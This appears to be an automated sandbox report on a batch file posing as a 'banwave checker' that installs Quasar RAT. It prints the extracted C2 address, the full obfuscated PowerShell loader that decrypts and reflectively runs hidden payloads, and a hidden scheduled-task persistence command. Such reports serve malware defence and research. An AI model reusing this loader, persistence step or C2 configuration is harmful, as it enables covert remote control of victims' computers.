Analysis

  • max time kernel
    44s
  • max time network
    47s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19/05/2024, 01:08

Errors

Reason
Machine shutdown

General

  • Target
    NSPEBanwaveChecker.bat
  • Size 1.7MB
  • Sample240519-bhck2sad73
  • SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.0.0

Botnet
  • SLAVE

C2
  • 193.34.77.188:6969

Mutex
  • 709ae576-840d-4df5-9c14-3fb7e062cf25

Attributes
  • encryption_key

    8B3D2D2549599D0ED109F63D47FFC788BAA34A06

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Ruthless Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_865_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1148
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:920
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1880
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
              5⤵
                PID:3192
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3860
                • C:\Windows\System32\shutdown.exe
                  "C:\Windows\System32\shutdown.exe" /s /t 0
                  6⤵
                    PID:3488
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x4 /state0:0xa3a1f055 /state1:0x41c64e6d
          1⤵
            PID:4296

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
                • MD5 SHA1 SHA512

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 1KB
                • SHA256 4d684f3c0fdaf79abec51fb181b2aef1a9ce532408bdc06d6aa6b0c114b699e7
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_wduq5ul5.cjn.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wduq5ul5.cjn.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                Windows_Log_865.bat

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat
                • Size 1.7MB
                • SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_865.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs
                • Size 115B
                • SHA256 876964fdb63f6e86664ad67198f682090bf3fd818b47fd9aec6e661c60ab3ae3
                • MD5 SHA1 SHA512

                memory/1148-25-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/1148-30-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/1148-27-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/1148-26-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/2076-13-0x000002C880010000-0x000002C880056000-memory.dmp

                memory/2076-9-0x000002C87FF90000-0x000002C87FFB2000-memory.dmp

                memory/2076-14-0x000002C81A380000-0x000002C81A388000-memory.dmp

                memory/2076-0-0x00007FFEBDBB3000-0x00007FFEBDBB5000-memory.dmp

                memory/2076-12-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/2076-11-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/2076-10-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/2076-15-0x000002C81A750000-0x000002C81A890000-memory.dmp

                memory/2076-48-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

                memory/3860-47-0x00000200AAC00000-0x00000200AAF1E000-memory.dmp

                memory/3860-49-0x00000200AB510000-0x00000200AB560000-memory.dmp

                memory/3860-50-0x00000200AB620000-0x00000200AB6D2000-memory.dmp

                memory/3860-51-0x00000200ABDF0000-0x00000200ABFB2000-memory.dmp

                memory/3860-54-0x00000200AB560000-0x00000200AB572000-memory.dmp

                memory/3860-55-0x00000200AB5C0000-0x00000200AB5FC000-memory.dmp